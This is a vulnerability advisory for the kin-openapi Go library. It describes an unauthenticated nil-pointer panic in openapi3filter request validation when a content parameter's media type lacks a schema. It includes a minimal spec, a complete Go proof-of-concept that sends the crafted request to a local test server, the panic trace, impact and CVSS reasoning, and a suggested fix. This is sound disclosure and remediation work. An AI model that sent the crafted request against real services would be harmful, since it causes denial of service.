kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.

Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

• Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
• Supply a custom ParamDecoder that guards mt.Schema == nil.
• Run request validation inside a handler with an explicit recover() — especially if validation runs off the request goroutine or on a non-net/http host.